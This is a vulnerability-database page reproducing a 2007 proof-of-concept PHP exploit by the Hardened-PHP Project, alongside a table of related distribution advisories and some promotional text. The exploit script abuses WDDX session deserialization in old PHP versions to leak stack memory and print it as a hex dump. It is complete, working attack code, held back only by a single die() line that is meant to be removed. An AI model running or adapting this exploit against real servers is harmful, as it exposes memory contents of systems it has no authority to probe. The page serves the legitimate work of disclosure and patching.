PHP < 4.4.5/5.2.1 - WDDX Session Deserialization Information Leak
| Reporter | Title | Published | Views | Family All 89 |
|---|---|---|---|---|
| PHP < 4.4.5 / 5.2.1 Multiple Vulnerabilities | 9 Feb 200700:00 | – | nessus | |
| CentOS 3 / 4 : php (CESA-2007:0076) | 21 Feb 200700:00 | – | nessus | |
| Debian DSA-1264-1 : php4 - several vulnerabilities | 12 Mar 200700:00 | – | nessus | |
| Fedora Core 6 : php-5.1.6-3.4.fc6 (2007-261) | 23 Feb 200700:00 | – | nessus | |
| Fedora Core 5 : php-5.1.6-1.4 (2007-287) | 27 Feb 200700:00 | – | nessus | |
| FreeBSD : php -- multiple vulnerabilities (7fcf1727-be71-11db-b2ec-000c6ec775d9) | 18 Feb 200700:00 | – | nessus | |
| GLSA-200703-21 : PHP: Multiple vulnerabilities | 26 Mar 200700:00 | – | nessus | |
| Mandrake Linux Security Advisory : php (MDKSA-2007:048) | 23 Feb 200700:00 | – | nessus | |
| Oracle Linux 3 / 4 : php (ELSA-2007-0076) | 12 Jul 201300:00 | – | nessus | |
| Oracle Linux 5 : Important: / php (ELSA-2007-0348) | 12 Jul 201300:00 | – | nessus |
10
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP WDDX Session Deserialization Stack Information Leak //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
if (!extension_loaded("wddx")) {
die("wddx extension needed\n");
}
ini_set("session.serialize_handler", "wddx");
session_start();
session_decode("<wddxPacket version='1.0'><header/><data><struct><var name='".str_repeat("A",8192)."'><string>A</string></var><var name='1'><string>1</string></var></struct></data></wddxPacket>");
$keys = array_keys($_SESSION);
$stackdump = $keys[1];
echo "Stackdump\n---------\n\n";
for ($b=0; $b<strlen($stackdump); $b+=16) {
printf("%08x: ", $b);
for ($i=0; $i<16; $i++) {
printf ("%02x ", ord($stackdump[$b+$i]));
}
for ($i=0; $i<16; $i++) {
$c = ord($stackdump[$b+$i]);
if ($c > 127 || $c < 32) {
$c = ord(".");
}
printf ("%c", $c);
}
printf("\n");
}
?>
# milw0rm.com [2007-03-04]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.11752